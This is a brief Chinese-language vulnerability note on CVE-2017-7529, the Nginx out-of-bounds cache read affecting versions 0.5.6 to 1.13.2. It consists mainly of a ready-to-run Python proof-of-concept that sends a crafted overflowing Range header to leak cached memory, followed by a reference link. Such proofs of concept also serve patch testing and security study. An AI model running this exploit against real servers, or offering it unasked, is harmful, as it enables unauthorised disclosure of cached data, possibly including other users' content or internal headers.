CVE-2017-7529 Nginx越界讀取緩存漏洞

影響版本

Nginx version 0.5.6 - 1.13.2

POC

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

參考

http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Nginx/Nginx%E8%B6%8A%E7%95%8C%E8%AF%BB%E5%8F%96%E7%BC%93%E5%AD%98%E6%BC%8F%E6%B4%9E%20CVE-2017-7529.html